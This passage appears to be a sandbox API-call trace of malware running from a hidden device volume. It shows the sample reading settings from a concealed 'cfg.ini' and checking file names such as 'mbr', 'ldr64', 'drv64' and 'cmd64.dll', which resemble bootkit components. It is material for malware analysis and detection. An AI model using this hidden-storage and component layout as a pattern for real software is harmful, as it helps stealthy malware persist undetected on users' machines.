returned 0xfffffa8003baf190 [0125.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.559] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.559] IdePortDispatch () returned 0x103 [0125.559] KeWaitForMutexObject () returned 0x0 [0125.559] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.559] KeLeaveCriticalRegion () [0125.559] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.559] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.560] KeEnterCriticalRegion () [0125.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.560] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c79000 [0125.560] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.560] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.560] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.560] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.560] IdePortDispatch () returned 0x103 [0125.560] KeWaitForMutexObject () returned 0x0 [0125.560] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.560] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.560] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.560] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.560] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.560] IdePortDispatch () returned 0x103 [0125.560] KeWaitForMutexObject () returned 0x0 [0125.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.560] KeLeaveCriticalRegion () [0125.560] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.561] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.561] KeEnterCriticalRegion () [0125.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.561] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.561] KeLeaveCriticalRegion () [0125.561] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.561] KeEnterCriticalRegion () [0125.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.561] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.561] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.561] KeLeaveCriticalRegion () [0125.561] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.561] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.561] KeEnterCriticalRegion () [0125.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.561] ExFreePoolWithTag (P=0xfffffa8003bf84a0, Tag=0x0) [0125.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.561] KeLeaveCriticalRegion () [0125.561] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.562] ReleaseMutex (hMutex=0xf0) returned 1 [0125.562] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.562] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.562] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.562] KeEnterCriticalRegion () [0125.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.562] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.562] IdePortDispatch () returned 0x103 [0125.562] KeWaitForMutexObject () returned 0x0 [0125.562] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.562] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.562] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.562] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.562] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.562] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf08a0 [0125.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.562] KeLeaveCriticalRegion () [0125.562] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.562] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.562] KeEnterCriticalRegion () [0125.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.562] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.562] KeLeaveCriticalRegion () [0125.562] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.562] KeEnterCriticalRegion () [0125.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.562] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.563] IdePortDispatch () returned 0x103 [0125.563] KeWaitForMutexObject () returned 0x0 [0125.563] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.563] KeLeaveCriticalRegion () [0125.563] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.563] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.563] KeEnterCriticalRegion () [0125.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.563] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7a000 [0125.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.563] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.563] IdePortDispatch () returned 0x103 [0125.563] KeWaitForMutexObject () returned 0x0 [0125.563] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.563] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.563] IdePortDispatch () returned 0x103 [0125.564] KeWaitForMutexObject () returned 0x0 [0125.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.564] KeLeaveCriticalRegion () [0125.564] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.564] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.564] KeEnterCriticalRegion () [0125.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.564] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.564] KeLeaveCriticalRegion () [0125.564] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.564] KeEnterCriticalRegion () [0125.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.564] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.564] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.564] KeLeaveCriticalRegion () [0125.564] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.564] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.564] KeEnterCriticalRegion () [0125.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.564] ExFreePoolWithTag (P=0xfffffa8003bf08a0, Tag=0x0) [0125.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.564] KeLeaveCriticalRegion () [0125.564] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.564] ReleaseMutex (hMutex=0xf0) returned 1 [0125.564] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.564] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.565] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.565] KeEnterCriticalRegion () [0125.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.565] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.565] IdePortDispatch () returned 0x103 [0125.565] KeWaitForMutexObject () returned 0x0 [0125.565] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.565] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.565] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.565] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.565] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.565] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8bb0 [0125.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.565] KeLeaveCriticalRegion () [0125.565] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.566] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.566] KeEnterCriticalRegion () [0125.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.566] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.566] KeLeaveCriticalRegion () [0125.566] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.566] KeEnterCriticalRegion () [0125.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.566] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.566] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.566] IdePortDispatch () returned 0x103 [0125.566] KeWaitForMutexObject () returned 0x0 [0125.566] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.566] KeLeaveCriticalRegion () [0125.566] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.566] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.566] KeEnterCriticalRegion () [0125.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.566] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7b000 [0125.566] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.566] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.566] IdePortDispatch () returned 0x103 [0125.567] KeWaitForMutexObject () returned 0x0 [0125.567] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.567] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.567] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.567] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.567] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.567] IdePortDispatch () returned 0x103 [0125.567] KeWaitForMutexObject () returned 0x0 [0125.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.567] KeLeaveCriticalRegion () [0125.567] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.567] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.567] KeEnterCriticalRegion () [0125.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.567] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.567] KeLeaveCriticalRegion () [0125.567] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.567] KeEnterCriticalRegion () [0125.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.567] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.567] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf82b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.568] KeLeaveCriticalRegion () [0125.568] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.568] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.568] KeEnterCriticalRegion () [0125.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.568] ExFreePoolWithTag (P=0xfffffa8003bf8bb0, Tag=0x0) [0125.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.568] KeLeaveCriticalRegion () [0125.568] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.568] ReleaseMutex (hMutex=0xf0) returned 1 [0125.568] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.568] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.568] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.568] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.568] KeEnterCriticalRegion () [0125.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.568] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.568] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.568] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.568] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.568] IdePortDispatch () returned 0x103 [0125.568] KeWaitForMutexObject () returned 0x0 [0125.568] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.568] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.568] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.568] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.568] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.568] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.568] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.568] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.568] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.568] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.568] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.568] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.568] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.568] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.568] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.569] KeLeaveCriticalRegion () [0125.569] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.569] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.569] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.569] KeEnterCriticalRegion () [0125.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.569] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.569] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.569] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.569] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.569] IdePortDispatch () returned 0x103 [0125.569] KeWaitForMutexObject () returned 0x0 [0125.569] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.569] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.569] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.569] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.569] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.569] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.569] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.569] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.569] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.569] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.569] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.569] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.569] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.569] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.569] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.569] KeLeaveCriticalRegion () [0125.569] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.569] ReleaseMutex (hMutex=0x100) returned 1 [0125.569] Sleep (dwMilliseconds=0x2bf20) [0125.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e0c1490, dwHighDateTime=0x1d24fa4)) [0125.576] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.576] 